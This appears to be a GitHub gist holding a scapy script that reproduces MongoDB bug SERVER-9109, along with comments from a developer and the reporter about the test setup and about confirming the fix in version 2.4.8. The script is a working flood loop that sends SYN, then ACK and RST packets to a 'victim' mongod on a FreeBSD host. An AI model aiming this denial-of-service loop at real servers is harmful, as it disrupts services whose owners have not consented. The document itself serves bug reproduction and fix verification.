server-9109-sca.py

# scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109
#
# Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding.

vm = '1.2.3.4' # src
victim = '9.8.7.6' # dst
def f():
    syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S")
    sa = sr1(syn)
    ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A")
    rst = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="RA")
    send([ack, rst])
while True: f()

I'm trying to get your repro running so that I can see if the bug is truly fixed. I got dnet/scapy to behave properly with python, but I am not certain of what your configuration is while running this. You mention that there is a vm, but where is mongod running and where is the script running (host or guest)? Could you provide step by step instructions to help me better replicate your repro?

Thanks for your help,
Dannenberg

@dannenberg
vm is Linux qemu-kvm based virtual machine, that I launched nearby the victim (same datacentre, I used vm as it was trivial to set up).
victim is FreeBSD-9 host running mongod. I could not reproduce the issue with Linux host using same script. I've not looked if Linux kernel can return ECONNABORTED from accept()
The script is run at vm after setting up iptables to drop some packets (to prevent possible replies from Linux TCP/IP stack).
I plan to upgrade my FreeBSD instances to 2.4.8 next Monday, I'll be able to tell if the bug is fixed for me.

Matt, excuse me for late reply, github generated no notifications about your comment :(

I confirm, I can't reproduce the bug with 2.4.8 anymore.